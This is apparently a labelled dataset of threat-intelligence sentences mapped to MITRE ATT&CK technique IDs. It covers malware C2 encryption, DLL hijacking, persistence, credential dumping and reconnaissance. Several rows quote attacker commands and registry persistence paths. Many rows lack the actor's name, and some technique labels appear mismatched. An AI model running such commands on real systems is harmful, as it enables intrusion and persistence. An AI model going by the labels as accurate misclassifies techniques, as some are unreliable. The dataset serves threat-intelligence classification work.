SUNBURST encrypted C2 traffic using a single-byte-XOR cipher.,T1573.001
The C2 server response to a beacon sent by a variant of Emissary contains a 36-character GUID value that is used as an encryption key for subsequent network communications. Some variants of Emissary use various XOR operations to encrypt C2 data.,T1573.001
The Komplex C2 channel uses an 11-byte XOR algorithm to hide data.,T1573.001
TrickBot uses a custom crypter leveraging Microsoft's CryptoAPI to encrypt C2 traffic.Newer versions of TrickBot have been known to use `bcrypt` to encrypt and digitally sign responses to their C2 server.,T1573.001
WellMess can encrypt HTTP POST data using RC6 and a dynamically generated AES key encrypted with a hard coded RSA public key.,T1573.001
A variant of ADVSTORESHELL encrypts some C2 with RSA.,T1573.002
Doki has used the embedTLS library for network communications.,T1573.002
Emotet is known to use RSA keys for encrypting C2 traffic.,T1573.002
Gazer uses custom encryption for C2 that uses RSA.,T1573.002
Koadic can use SSL and TLS for communications.,T1573.002
"ServHelper may set up a reverse SSH tunnel to give the attacker access to services running on the victim, such as RDP.",T1573.002
SodaMaster can use a hardcoded RSA key to encrypt some of its C2 traffic.,T1573.002
"Aquatic Panda has used DLL search-order hijacking to load `exe`, `dll`, and `dat` files into memory.",T1574.001
Astaroth can launch itself via DLL Search Order Hijacking.,T1574.001
"BOOSTWRITE has exploited the loading of the legitimate Dwrite.dll file by actually loading the gdi library, which then loads the gdiplus library and ultimately loads the local Dwrite dll.",T1574.001
Chaes has used search order hijacking to load a malicious DLL.,T1574.001
Ramsay can hijack outdated Windows application dependencies with malicious versions of its own DLL payload.,T1574.001
menuPass has used DLL search order hijacking.,T1574.001
Ebury has injected its dynamic library into descendent processes of sshd via LD_PRELOAD.,T1574.006
Empire contains modules that can discover and exploit path interception opportunities in the PATH environment variable.,T1574.007
"During Operation Honeybee, the threat actors used a batch file that modified the COMSysApp service to load a malicious ipnet.dll payload and to load a DLL into the `svchost.exe` process.",T1574.011
BITTER has registered a variety of domains to host malicious payloads and for C2.,T1583.001
"For C0010, UNC3890 actors established domains that appeared to be legitimate services and entities, such as LinkedIn, Facebook, Office 365, and Pfizer.",T1583.001
Kimsuky has registered domains to spoof targeted organizations and trusted third parties.,T1583.001
"Sandworm Team has registered domain names and created URLs that are often designed to mimic or spoof legitimate websites, such as email login pages, online file sharing and storage websites, and password reset pages.",T1583.001
"Transparent Tribe has registered domains to mimic file sharing, government, defense, and research websites for use in targeted campaigns.",T1583.001
ZIRCONIUM has purchased domains for use in targeted campaigns.,T1583.001
LAPSUS$ has used VPS hosting providers for infrastructure.,T1583.003
TEMP.Veles has used Virtual Private Server (VPS) infrastructure.,T1583.003
GALLIUM has used Taiwan-based servers that appear to be exclusive to GALLIUM.,T1583.004
Kimsuky has purchased hosting servers with virtual currency and prepaid cards.,T1583.004
"APT32 has set up Dropbox, Amazon S3, and Google Drive to host malicious downloads.",T1583.006
Lazarus Group has hosted malicious downloads on Github and Dropbox.,T1583.006
MuddyWater has used file sharing services including OneHub to distribute tools.,T1583.006
Turla has used the VPS infrastructure of compromised Iranian threat actors.,T1584.003
Lazarus Group has compromised servers to stage malicious tools.,T1584.004
Axiom has used large groups of compromised machines for use as proxy nodes.,T1584.005
"APT17 has created and cultivated profile pages in Microsoft TechNet. To make profile pages appear more legitimate, APT17 has created biographical sections and posted in forum threads.",T1585
Fox Kitten has created KeyBase accounts to communicate with ransomware victims.,T1585
"Cleaver has created fake LinkedIn profiles that included profile photos, details, and connections.",T1585.001
Sandworm Team has established social media accounts to disseminate victim internal-only documents and other sensitive data.,T1585.001
"During Operation Honeybee, attackers created email addresses to register for a free account for a control server used for the implants.",T1585.002
APT29 has compromised email accounts to further enable phishing campaigns.,T1586.002
Magic Hound has compromised personal email accounts through the use of legitimate credentials and gathered additional victim information.,T1586.002
Andariel has used a variety of publicly-available remote access Trojans (RATs) for its operations.,T1588.001
"Earth Lusca has acquired and used a variety of malware, including Cobalt Strike.",T1588.001
APT39 has modified and used customized versions of publicly-available tools like PLINK and Mimikatz.,T1588.002
Aquatic Panda has acquired and used Cobalt Strike in its operations.,T1588.002
"For C0010, UNC3890 actors obtained multiple publicly-available tools, including METASPLOIT, UNICORN, and NorthStar C2.",T1588.002
Inception has obtained and used open-source tools such as LaZagne.,T1588.002
IndigoZebra has acquired open source tools such as NBTscan and Meterpreter for their operations.,T1588.002
Patchwork has obtained and used open-source tools such as QuasarRAT.,T1588.002
HAFNIUM has collected e-mail addresses for users they intended to target.,T1589.002
MuddyWater has specifically targeted government agency employees with spearphishing e-mails.,T1589.002
TA551 has used spoofed company emails that were acquired from email clients on previously infected hosts to target other individuals.,T1589.002
Kimsuky has collected victim employee name information.,T1589.003
HAFNIUM has obtained IP addresses for publicly-accessible Exchange servers.,T1590.005
"Kimsuky has collected victim organization information including but not limited to organization hierarchy, functions, press releases, and others.",T1591
"In preparation for its attack against the 2018 Winter Olympics, Sandworm Team conducted online research of partner organizations listed on an official PyeongChang Olympics partnership site.",T1591.002
"""Sandworm Team researched Ukraine's unique legal entity identifier (called an """"EDRPOU"""" number), including running queries on the EDRPOU website, in preparation for the NotPetya attack. Sandworm Team has also researched third-party websites to help it craft credible spearphishing emails.""",T1593
Aquatic Panda has used publicly accessible DNS logging services to identify servers vulnerable to Log4j (CVE 2021-44228).,T1595.002
Volatile Cedar has performed vulnerability scans of the target server.,T1595.002
SideCopy has crafted generic lures for spam campaigns to collect emails and credentials for targeting efforts.,T1598.002
Mustang Panda has hosted malicious payloads on DropBox including PlugX.,T1608.001
"APT32 has stood up websites containing numerous articles and content scraped from the Internet to make them appear legitimate, but some of these pages include malicious JavaScript to profile the potential victim or infect them via a fake software update.",T1608.004
Peirates can use `kubectl` or the Kubernetes API to run commands.,T1609
"""Before executing malicious code, Ragnar Locker checks the Windows API """"GetLocaleInfoW"""" and doesn't encrypt files if it finds a former Soviet country.""",T1614
DarkWatchman can identity the OS locale of a compromised host.,T1614
SideCopy has identified the country location of a compromised host.,T1614
Avaddon checks for specific keyboard layouts and OS languages to avoid targeting Commonwealth of Independent States (CIS) entities.,T1614.001
Bazar can perform a check to ensure that the operating system's keyboard and language settings are not set to Russian.,T1614.001
"""Cuba can check if Russian language is installed on the infected machine by using the function """"GetKeyboardLayoutList"""".""",T1614.001
"""REvil can check the system language using """"GetUserDefaultUILanguage"""" and """"GetSystemDefaultUILanguage"""". If the language is found in the list, the process terminates.""",T1614.001
Peirates can list AWS S3 buckets.,T1619
"""ThiefQuest uses various API functions such as """"NSCreateObjectFileImageFromMemory"""" to load and link in-memory payloads.""",T1620
starts a rootkit from a malicious file dropped to disk.,T1014 | T1014
can collect the victim user name.,T1033 | T1033
"""""""beacon"""" payload is capable of running shell commands without cmd.exe and PowerShell commands without powershell.exe""",T1106
actors look for and use VPN profiles during an operation to access the network using external VPN services.,T1133
"actors used a victim's endpoint management platform, Altiris, for lateral movement.",T1072
actors used the following commands after exploiting a machine with malware to obtain information about the OS: ver >> %temp%\download systeminfo >> %temp%\download,T1082
adds itself to a Registry Run key with the name guidVGA or guidVSA.,T1547.001
adds itself to the Registry key HKEY_CURRENT_USER\Software\Microsoft\CurrentVersion\Run\ for persistence.,T1547.001
adds itself to the Registry key Software\Microsoft\Windows\CurrentVersion\Run to establish persistence upon reboot.,T1547.001
"Adversaries can direct to execute from the command-line on infected hosts, or have create a reverse shell.",T1059
"After creating a new service for persistence, sets the file creation time for the service to the creation time of the victim's legitimate svchost.exe file.",T1070.006
"After re-establishing access to a victim network, actors download tools including and WCE that are staged temporarily on websites that were previously compromised but never used.",T1105
aggregates staged data from a network into a single location.,T1074
A macro has run a PowerShell command to decode file contents. has also used to decode base64-encoded files on victims.,T1140
A malware sample conducts C2 over HTTP.,T1071
A module in allows arbitrary commands to be executed by invoking C:\Windows\System32\cmd.exe.,T1059
A module in collects passwords stored in applications installed on the victim.,T1003
Analysis of has shown that it regularly undergoes technical improvements to evade anti-virus detection.,T1027.005
An macro uses the command certutil -decode to decode contents of a .txt file storing the base64 encoded payload.,T1140
A tool can add the binary's path to the Registry key Software\Microsoft\Windows\CurrentVersion\Run to add persistence.,T1547.001
automatically exfiltrates collected files via removable media when an infected device is connected to the second victim after receiving commands from the first victim.,T1020
A variant gathers network interface card information.,T1016
A variant of appends junk data to the end of its DLL file to create a large file that may exceed the maximum size that anti-virus programs can scan.,T1027.001
C2 messages are encrypted with custom stream ciphers using six-byte or eight-byte keys.,T1573
can access a connected webcam and capture pictures.,T1125
can add a certificate to the Windows store.,T1553.004
can add a Run key entry in the Registry to establish persistence.,T1547.001
can be configured to have commands relayed over a peer-to-peer network of infected hosts if some of the hosts do not have Internet access.,T1090
"can be used to display adapter configuration on Unix systems, including information for TCP/IP, DNS, and DHCP.",T1016
can be used to embed a PowerShell script within the pixels of a PNG file.,T1027
can be used to gather information on permission groups within a domain.,T1069
can create a Windows account.,T1136
can delete all files created during its execution.,T1070.004
can delete files that may interfere with it executing. It also can delete temporary files and itself after the initial script executes.,T1070.004
can download files to the victim's machine and execute them.,T1105
can dump active logon session password hashes from the lsass process.,T1003
can dump Windows password hashes.,T1003
can dump Windows password hashes and LSA secrets.,T1003
"can encrypt C2 data with a custom technique using MD5, base64-encoding, and RC4.",T1573
can execute commands via an interactive command shell.,T1059
"can gather extended system information including the hostname, OS version number, platform, memory information, time elapsed since system startup, and CPU information.",T1082
can gather hashed passwords by dumping SAM/SECURITY hive and gathers domain controller hashes from NTDS.,T1003
can gather the victim OS version and whether it is 64 or 32 bit.,T1082
"can gather very specific information about attached USB devices, to include device instance ID and drive geometry.",T1120
"can grab a system's information including the OS version, architecture, etc.",T1082
can launch a remote shell to execute commands on the victim's machine.,T1059
can launch PowerShell Scripts.,T1059.001
can list all running processes.,T1057
can list file and directory information.,T1083
can list running processes.,T1057
can obtain a list of all files and directories as well as logical drives.,T1083
"can obtain information about the OS, processor, and BIOS.",T1082
"can obtain information about the victim computer name, physical memory, country, and date.",T1082
can obtain information about the victim usernames.,T1033
can obtain system information such as OS version and disk space.,T1082
"can obtain the OS version information, computer name, processor architecture, machine role, and OS edition.",T1082
"can obtain the victim hostname, Windows version, RAM amount, number of drives, and screen resolution.",T1082
can obtain the victim username and permissions.,T1033
"can perform browser pivoting and inject into a user's browser to inherit cookies, authenticated HTTP sessions, and client SSL certificates.",T1185
can perform screen capturing.,T1113
can ping or traceroute a remote host.,T1018
can query shared drives on the local system.,T1135
can record sound with the microphone.,T1123
can retrieve screenshots from compromised hosts.,T1113
"can securely delete files, including deleting itself from the victim.",T1070.004
can send process listings over the C2 channel.,T1057
"can send screenshots files, keylogger data, files, and recorded audio back to the C2 server.",T1041
can upload and download files to the victim's machine.,T1105
can upload files from the victim's machine to its C2 server.,T1041
can use public cloud-based storage providers for command and control.,T1102
can walk through directories and recursively search for strings in files.,T1083
can wipe files indicated by the attacker and remove itself from disk using a batch file.,T1070.004
"checks for information on the CPU fan, temperature, mouse, hard disk, and motherboard as part of its anti-VM checks.",T1082
checks the system for certain Registry keys.,T1012
checks the victim OS version after executing to determine where to drop files based on whether the victim is 32-bit or 64-bit.,T1082
"""checks to see if the system is configured with """"Daylight"""" time and checks for a specific region to be set for the timezone.""",T1124
collected and exfiltrated files from the infected system.,T1005
collects address book information from Outlook.,T1114
collects a list of accounts with the command net users.,T1087
collects and sends system information to its C2.,T1082
"collects credentials from Internet Explorer, Mozilla Firefox, Eudora, and several email clients.",T1003
collects current and parent process IDs.,T1057
collects files matching certain criteria from the victim and stores them in a local directory for later exfiltration.,T1074
collects screenshots of the victim machine.,T1113
collects the network adapter information.,T1016
collects the network adapter information and domain/username information based on current remote sessions.,T1016
collects the victim's %TEMP% directory path and version of Internet Explorer.,T1083
"collects the victim hostname, window resolution, and Microsoft Windows version.",T1082
collects the victim's username.,T1033
command and control commands are encrypted within the HTTP C2 channel using the DES algorithm in CBC mode with a key derived from the MD5 hash of the string HYF54&%9&jkMCXuiS.,T1573
Commands such as net use and net session can be used in to gather information about network connections from a particular host.,T1049
communicates over raw TCP.,T1095
communicates to servers operated by Google using the Jabber/XMPP protocol.,T1102
compressed data into .zip files prior to exfiltrating it.,T1560
contains a custom keylogger.,T1056
contains a keylogger.,T1056
contains code to compress files.,T1560
"""contains several references to football (including """"football,"""" """"score,"""" """"ball,"""" and """"loose"""") in a likely attempt to disguise its traffic.""",T1036
contains the deletFileFromPath function to delete a specified file using the NSFileManager:removeFileAtPath method.,T1070.004
contains the getProcessList function to run ps aux to get running processes.,T1057
copies and exfiltrates the clipboard contents every 30 seconds.,T1115
copies itself into a running Internet Explorer process to evade detection.,T1055
copies itself over network shares to move laterally on a victim network.,T1021.002
"created accounts on victims, including administrator accounts, some of which appeared to be tailored to each individual staging target.",T1136
created several .LNK files on the victim's machine.,T1547.009
creates a backdoor through which remote attackers can change C2 servers.,T1008
"creates a backdoor through which remote attackers can check for the existence of files, including its own components, as well as retrieve a list of logical drives.",T1083
creates a backdoor through which remote attackers can clear all system event logs.,T1070
creates a backdoor through which remote attackers can download files.,T1105
creates a backdoor through which remote attackers can retrieve system information.,T1082
creates a new service named WmiApSrvEx to establish persistence.,T1543.003
creates a new service to establish.,T1543.003
creates a Registry entry modifying the Logical Disk Manager service to point to a malicious DLL dropped to disk.,T1543.003
creates a Registry start-up entry to establish persistence.,T1547.001
creates a scheduled task to ensure it is re-executed everyday.,T1053.005
creates run key Registry entries pointing to a malicious executable dropped to disk.,T1547.001
creates three Registry keys to establish persistence by adding a .,T1112
decoded base64-encoded PowerShell commands using a VBS file.,T1140
"default encryption for its C2 communication channel is SSL, but it also has transport options for RSA and AES.",T1573
deletes any temporary files it creates,T1070.004
deletes its dropper and VBS scripts from the victim's machine.,T1070.004
deletes its original installer file once installation is complete.,T1070.004
deletes its RAT installer file as it executes its DLL payload file.,T1070.004
deletes the .LNK file from the startup directory as well as the dropper components.,T1070.004
delivers malware using spearphishing emails with malicious HWP attachments.,T1598.002
"deployed the open source tool Responder to conduct NetBIOS Name Service poisoning, which captured usernames and hashed passwords that allowed access to legitimate credentials.",T1040
downloads its backdoor component from a C2 server and loads it directly into memory.,T1105
drops itself onto removable media and relies on Autorun to execute the malicious file when a user opens the removable media on another system.,T1091
"drops itself onto removable media devices and creates an autorun.inf file with an instruction to run that file. When the device is inserted into another system, it opens autorun.inf and loads the malware.",T1091
encodes credit card data it collected from the victim with XOR.,T1486
encodes data in hexadecimal format over the C2 channel.,T1132
encrypted the collected files' path with AES and then encoded them with base64.,T1486
encrypts C2 data with a ROR by 3 and an XOR by 0x23.,T1573
encrypts C2 traffic using an XOR/ADD cipher and uses a FakeTLS method.,T1573
encrypts C2 traffic with a custom RC4 variant.,T1573
encrypts collected data with AES and Base64 and then sends it to the C2 server.,T1486
encrypts collected data with an incremental XOR key prior to exfiltration.,T1486
encrypts data with a substitute cipher prior to exfiltration.,T1486
encrypts files with XOR before sending them back to the C2 server.,T1486
enumerates all running services.,T1007
establishes a backdoor over HTTP.,T1071
"establishes persistence by creating a scheduled task with the command SchTasks /Create /SC DAILY /TN BigData /TR "" + path_file + ""/ST 09:30"".",T1053.005
establishes persistence via a Registry Run key.,T1547.001
"executed by using rundll32 commands such as rundll32.exe ""C:\Windows\twain_64.dll"". also executed a .dll for a first stage dropper using rundll32.exe. An loader Trojan saved a batch script that uses rundll32 to execute a DLL payload.",T1218.011
executes code using HTTP POST commands.,T1071
executes the whoami on the victim's machine.,T1033
exfiltrates collected files automatically over FTP to remote servers.,T1020
exfiltrates collected files via removable media from air-gapped victims.,T1052
exploited a Windows SMB Remote Code Execution Vulnerability to conduct lateral movement.,T1210
exploits CVE-2016-4117 to allow an executable to gain escalated privileges.,T1068
extracted documents and bundled them into a RAR archive.,T1560
extracted Word documents from a file server on a victim network.,T1039
"gathers a list of installed apps from the uninstall program Registry. It also gathers registered mail, browser, and instant messaging clients from the Registry. has searched for given file types.",T1083
gathers a list of processes using the tasklist command and then is sent back to the control server.,T1057
"gathers informatin on the IP forwarding table, MAC address, and network SSID.",T1016
gathers network configuration information as well as the ARP cache.,T1016
grabs a user token using WTSQueryUserToken and then creates a process by impersonating a logged-on user.,T1134
has a command to download an .exe and execute it via CreateProcess API. It can also run with ShellExecute.,T1106
has a command to search for files on the victim's machine.,T1083
has a command to timestop a file or directory.,T1070.006
has added JavaScript to victim websites to download additional frameworks that profile and compromise website visitors.,T1105
has a function to delete files from the victim's machine.,T1070.004
has been delivered via Word documents using DDE for execution.,T1559.002
has been known to employ binary padding.,T1027.001
has been known to establish persistence by adding programs to the Run Registry key.,T1547.001
has been seen loaded into msiexec.exe through process hollowing to hide its execution.,T1055.012
has collected .PST archives.,T1114
"has commands to get information about the victim's name, build, version, serial number, and memory usage.",T1082
has commands to list drives on the victim machine and to list file information for a given directory.,T1083
has given malware the same name as an existing file on the file share server to cause users to unwittingly launch and install the malware on additional systems.,T1036
has injected code into trusted processes.,T1055
"has intentionally deleted computer files to cover their tracks, including with use of the program CCleaner.",T1070.004
has modules that are capable of capturing from a victim's webcam.,T1125
has retrieved stage 2 payloads as Bitmap images that use Least Significant Bit (LSB) steganography.,T1001
has run tasklist on a victim's machine.,T1057
has sent emails containing malicious attachments or links that require users to execute a file or macro to infect the victim machine.,T1204
has sent emails with URLs pointing to malicious documents.,T1598.003
"has sent spearphishing emails with links, often using a fraudulent lookalike domain and stolen branding.",T1598.003
has several commands to delete files associated with the malware from the victim.,T1070.004
"has signed its malware with an invalid digital certificates listed as ""Tencent Technology (Shenzhen) Company Limited.""",T1553.002
"has signed payloads with legally purchased code signing certificates. has also digitally signed their phishing documents, backdoors and other staging tools to bypass security controls.",T1553.002
has stored captured credential information in a file named pi.log.,T1074
has the ability to initiate keylogging.,T1056
"has the capability to collect the computer name, language settings, the OS version, CPU information, disk devices, and time elapsed since system start.",T1082
has the capability to collect the current logged on user's username from a machine.,T1033
has the capability to delete files and scripts from the victim's machine.,T1070.004
has the capability to download and execute .exe files.,T1105
has the capability to execute commands using cmd.exe.,T1059
has the capability to gather NTLM password information.,T1003
"has two hard-coded domains for C2 servers; if the first does not respond, it will try the second.",T1008
has used a CHM payload to load and execute another malicious file once delivered to a victim.,T1218.001
has used a custom executable to execute PowerShell scripts.,T1059.001
has used a modified version of pentesting tools wmiexec.vbs and secretsdump.py to dump credentials.,T1003
"has used a script to iterate through a list of compromised PoS systems, copy data to a log file, and remove the original data files.",T1119
has used command line during its intrusions.,T1059
"has used CVE-2014-4076, CVE-2015-2387, and CVE-2015-1701 to escalate privileges.",T1068
has used CVE-2015-1701 to access the SYSTEM token and copy it into the current process as part of privilege escalation.,T1134
has used environment variables and standard input (stdin) to obfuscate command-line arguments. also obfuscates malicious macros delivered as payloads.,T1027
"has used exploitation of endpoint software, including Microsoft Internet Explorer Adobe Flash vulnerabilities, to gain execution. They have also used zero-day exploits.",T1203
has used forged Microsoft code-signing certificates on malware.,T1553.002
"has used hidden or non-printing characters to help masquerade file names on a system, such as appending a Unicode no-break space character to a legitimate service name.",T1036
has used HTTP and DNS for C2. The group has also used the Plink utility and other tools to create tunnels to C2 servers.,T1071
has used HTTPS and DNS tunneling for C2. The group has also used the Plink utility to create SSH tunnels.,T1071
has used keyloggers.,T1056
has used legitimate credentials to maintain access to a victim network and exfiltrate data. The group also used credentials stolen through a spearphishing email to login to the DCCC network.,T1078
has used legitimate local admin account credentials.,T1078
has used Metasploit's NTDSGRAB module to obtain a copy of the victim's Active Directory database.,T1087
has used net user /domain to identify account information.,T1087
has used pass the hash for lateral movement.,T1550.002
"has used PubPrn.vbs within execution scripts to execute malware, possibly bypassing defenses.",T1216
"has used scheduled tasks to establish persistence for various malware it uses, including downloaders known as HARDTACK and SHIPBREAD and PoS malware known as TRINITY.",T1053.005
has used scheduled tasks to maintain RDP backdoors.,T1053.005
has used stolen code signing certificates used to sign malware.,T1553.002
"has used tcping.exe, similar to , to probe port status on systems of interest.",T1046
has used the Intel® Active Management Technology (AMT) Serial-over-LAN (SOL) channel for command and control.,T1095
has used the net view command.,T1018
has used to generate Kerberos golden tickets.,T1550.003
has used UPX to pack,T1027.002
has used WinRM to enable remote execution.,T1021.006
"If a victim meets certain criteria, uses the AppInit_DLL functionality to achieve persistence by ensuring that every user mode process that is spawned will load its malicious DLL, ResN32.dll. It does this by creating the following Registry keys: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs - %APPDATA%\Intel\ResN32.dll and HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\LoadAppInit_DLLs - 0x1.",T1546.010
"If establishing persistence by installation as a new service fails, one variant of establishes persistence for the created .exe file by setting the following Registry key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\svchost : %APPDATA%\Microsoft\Network\svchost.exe. Other variants have set the following Registry key for persistence: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\imejp : [self].",T1547.001
injects itself into explorer.exe.,T1055
"injects itself into running instances of outlook.exe, iexplore.exe, or firefox.exe.",T1055
installer contains a malicious file named navlu.dll to decrypt and run the RAT. navlu.dll is also the name of a legitimate Symantec DLL.,T1036
Install-SSP Persistence module can be used to establish by installing a SSP DLL.,T1547.005
is a Master Boot Record (MBR) bootkit that uses the MBR to establish persistence.,T1542.003
is a Web shell.,T1505.003
is capable of deleting the backdoor file.,T1070.004
"is capable of identifying documents on the victim with the following extensions: .doc; .pdf, .csv, .ppt, .docx, .pst, .xls, .xlsx, .pptx, and .jpeg.",T1083
is capable of manipulating the Registry.,T1112
is capable of performing audio captures.,T1123
is capable of persisting via a .lnk file stored in the Startup directory.,T1547.009
"is capable of running commands to obtain a list of files and directories, as well as enumerating logical drives.",T1083
is capable of running WMI queries.,T1047
is capable of setting and deleting Registry values.,T1112
is capable of stealing usernames and passwords from browsers on the victim machine.,T1003
is capable of taking screen captures.,T1113
is capable of tunneling though a proxy.,T1090
is likely loaded via DLL hijacking into a legitimate McAfee binary.,T1574.001
is obscured using XOR encoding and appended to a valid GIF file.,T1027
leveraged to extract Windows Credentials of currently logged-in users and steals passwords stored in browsers.,T1003
leverages and to steal credentials.,T1003
leverages the CreateProcess() and LoadLibrary() calls to execute files with the .dll and .exe extensions.,T1106
lists files on the victim's machine.,T1083
lists the current running processes on the system.,T1057
lists the system's processes.,T1057
logs its actions into files that are encrypted with 3DES. It also uses RSA to encrypt resources.,T1027
main method of communicating with its C2 servers is using HTTP or HTTPS.,T1071
malware attempts to maintain persistence by saving itself in the Start menu folder or by adding a Registry Run key.,T1547.001
"malware can leverage the Windows API call, CreateProcessA(), for execution.",T1106
malware can take a screenshot and upload the file to its C2 server.,T1113
malware contains a secondary fallback command and control server that is contacted after the primary command and control server.,T1008
malware gathers a list of running processes.,T1057
"malware has created Registry Run and RunOnce keys to establish persistence, and has also added items to the Startup folder.",T1547.001
malware KiloAlfa contains keylogging functionality.,T1056
"malware SierraAlfa sends data to one of the hard-coded C2 servers chosen at random, and if the transmission fails, chooses a new C2 server to attempt the transmission again.",T1008
malware SierraAlfa uses the Windows Management Instrumentation Command-line application wmic to start itself on a target system during lateral movement.,T1047
malware WhiskeyAlfa-Three modifies sector 0 of the Master Boot Record (MBR) to ensure that the malware will persist even if a victim machine shuts down.,T1542.003
marks files to be deleted upon the next system reboot and uninstalls and removes itself from the system.,T1070.004
may collect information about the currently logged in user by running whoami on a victim.,T1033
"may create the file %HOMEPATH%\Start Menu\Programs\Startup\Realtek {Unique Identifier}.lnk, which points to the malicious msdtc.exe file already created in the %CommonFiles% directory.",T1547.009
may use ipconfig /all to gather system network configuration details.,T1016
mimics filenames from %SYSTEM%\System32 to hide DLLs in %WINDIR% and/or %TEMP%.,T1036
modifies the firewall Registry key SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfileGloballyOpenPorts\\List.,T1112
network traffic can communicate over HTTP.,T1071
network traffic communicates over a raw socket.,T1095
network traffic is Base64-encoded plaintext.,T1132
New-UserPersistenceOption Persistence argument can be used to establish via a .,T1053.005
New-UserPersistenceOption Persistence argument can be used to establish via the HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Registry key.,T1547.001
obfuscates API function names using a substitute cipher combined with Base64 encoding.,T1027
obtains the victim username and saves it to a file.,T1033
"Once gained access to the DCCC network, the group then proceeded to use that access to compromise the DNC network.",T1199
opens cmd.exe on the victim.,T1059
overwrites Explorer's Shell_TrayWnd extra window memory to redirect execution to a NTDLL function that is abused to assemble and execute a return-oriented programming (ROP) chain and create a malicious thread within Explorer.exe.,T1055.011
"Part of 's operation involved using modules to copy itself to air-gapped machines, using files written to USB sticks to transfer data and command traffic.",T1092
performs checks for various antivirus and security products during installation.,T1518.001
"performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from the LSA, SAM table, credential vault, DCSync/NetSync, and DPAPI.",T1003
performs discovery of permission groups net group /domain.,T1069
performs process discovery using tasklist commands.,T1057
"primarily uses port 80 for C2, but falls back to ports 443 or 8080 if initial communication fails.",T1008
"provides a reverse shell connection on 8338/TCP, encrypted via AES.",T1573 | T1059 | T1095
queries Registry values as part of its anti-sandbox checks.,T1012
queries the registry to look for information about Terminal Services.,T1012
queries the system to identify existing services.,T1007
Recent versions of delete files and registry keys created by the malware.,T1070.004
recursively searches through directories for files.,T1083
removes all files in the /tmp directory.,T1070.004
retrieves additional malicious payloads from the C2 server.,T1105
saves system information into an XML file that is then XOR-encoded.,T1486
scanned network services to search for vulnerabilities in the victim system.,T1046
schedules tasks to invoke its components in order to establish persistence.,T1053.005
searches for administrator accounts on both the local victim machine and the network.,T1087
searches for removable media and duplicates itself onto it.,T1091
searches for specified files.,T1083
sends the logged-on username to its hard-coded C2.,T1033
sent spearphishing emails with either malicious Microsoft Documents or RTF files attached.,T1598.002
sets its DLL file as a new service in the Registry to establish persistence.,T1543.003
Several malware families install themselves as new services on victims.,T1543.003
Several tools used by have been command-line driven.,T1059
Some components use Twitter to initially obtain the address of a C2 server or as a backup if no hard-coded C2 server responds.,T1102
"Some data in is encrypted using RC5 in CBC mode, AES-CBC with a hardcoded key, RC4, or Salsa20. Some data is also base64-encoded.",T1027
Some DLL files have been packed with UPX.,T1027.002
"Some samples use standard Base64 + bzip2, and some use standard Base64 + reverse XOR + RSA-2048 to decrypt data received from C2 servers.",T1001
Some variants create a new Windows service to establish persistence.,T1543.003
Some variants install .dll files as services with names generated by a list of hard-coded strings.,T1543.003
Some variants of the Trojan have been known to store data in Extended Attributes.,T1564.004
Some variants of use RC4 to encrypt C2 traffic.,T1573
stages the output from command execution and collected files in specific folders before exfiltration.,T1074
stores the gathered data from the machine in .db files and .bmp files under four separate locations.,T1074
surveys a system upon check-in to discover running services and associated processes using the tasklist /svc command.,T1007
"""The """"ZJ"""" variant of allows """"ZJ link"""" infections with Internet access to relay traffic from """"ZJ listen"""" to a command server.""",T1090
The discovery modules used with can collect information on open windows.,T1010
The group is known to have used pass the hash.,T1550.002
"The main dropper checks whether the victim has an anti-virus product installed. If the installed product is on a predetermined list, the dropper will exit. Newer versions of will check to ensure it is not being executed inside a virtual machine or a known malware analysis sandbox environment. If it detects that it is, it will exit.",T1518.001
"The malware platform supports many standard protocols, including HTTP, HTTPS, and SMB.",T1071
The net start and net stop commands can be used in to execute or stop Windows services.,T1569.002
The net start command can be used in to find information about Windows services.,T1007
The net use \\system\share /delete command can be used in to remove an established connection to a network share.,T1070.005
The net view \\remotesystem and net share commands in can be used to find shared drives and directories on remote and local systems respectively.,T1135
"The original variant of encrypts C2 traffic using a custom encryption cipher that uses an XOR key of ""YHCRA"" and bit rotation between each XOR operation. has also included HTML code in C2 traffic in an apparent attempt to evade detection. Additionally, some variants of use modified SSL code for communications back to C2 servers, making SSL decryption ineffective.",T1573
The PowerShell script with the payload was obfuscated using the COMPRESS technique in Invoke-Obfuscation.,T1027
The trojan creates a persistent launch agent called with $HOME/Library/LaunchAgents/com.apple.updates.plist with launchctl load -w ~/Library/LaunchAgents/com.apple.updates.plist.,T1543.001
took screen shots using their Windows malware.,T1113
uploads and downloads files to and from the victim's machine.,T1105
used a .NET tool to dump data from Microsoft Exchange mailboxes.,T1114
used a batch script to gather folder and file names from victim hosts.,T1083
used a publicly available tool to gather and compress multiple documents on the DCCC and DNC networks.,T1560 | T1119
used a tool called BruteForcer to perform a brute force attack.,T1110
used a tool called Imecab to set up a persistent remote access account on the victim machine.,T1136
used Kerberos ticket attacks for lateral movement.,T1550.002
used legitimate account credentials that they dumped to navigate the internal victim network as though they were the legitimate account owner.,T1078
used named and hijacked scheduled tasks to establish persistence.,T1053.005
"used other victims as proxies to relay command traffic, for instance using a compromised Georgian military email server as a hop point to NATO victims. The group has also used a tool that acts as a proxy to allow C2 even if the victim is behind a router. has also used a machine to relay and obscure communications between and their server.",T1090
used PowerShell commands to execute payloads.,T1059.001
used SMB for C2.,T1071
used stolen certificates to sign its malware.,T1553.002
used the command query user on victim hosts.,T1033
used the Plink utility and other tools to create tunnels to C2 servers.,T1573
used WMI to steal credentials and execute backdoors at a future time.,T1047
uses a combination of NTWDBLIB.dll and cliconfg.exe to bypass UAC protections using DLL hijacking.,T1548.002
uses a Launch Agent to persist.,T1543.001
uses an 8-byte XOR key to obfuscate API names and other strings contained in the payload.,T1027
uses an encrypted file to store commands and configuration values.,T1140
uses an event filter in WMI code to execute a previously dropped executable shortly after system startup.,T1546.003
uses a tool that captures information from air-gapped computers via an infected USB and transfers it to network-connected computer when the USB is inserted.,T1092
uses cmd.exe to execute commands.,T1059
uses command-line interaction to search files and directories.,T1083
uses HTTPS to conceal C2 communications.,T1071
uses launchctl to enable screen sharing on the victim's machine.,T1569.001
"uses NetUser-GetInfo to identify that it is running under an ""Admin"" account on the local system.",T1033
uses non-descriptive names to hide functionality and uses an AES CBC (256 bits) encryption algorithm for its loader and configuration files.,T1027
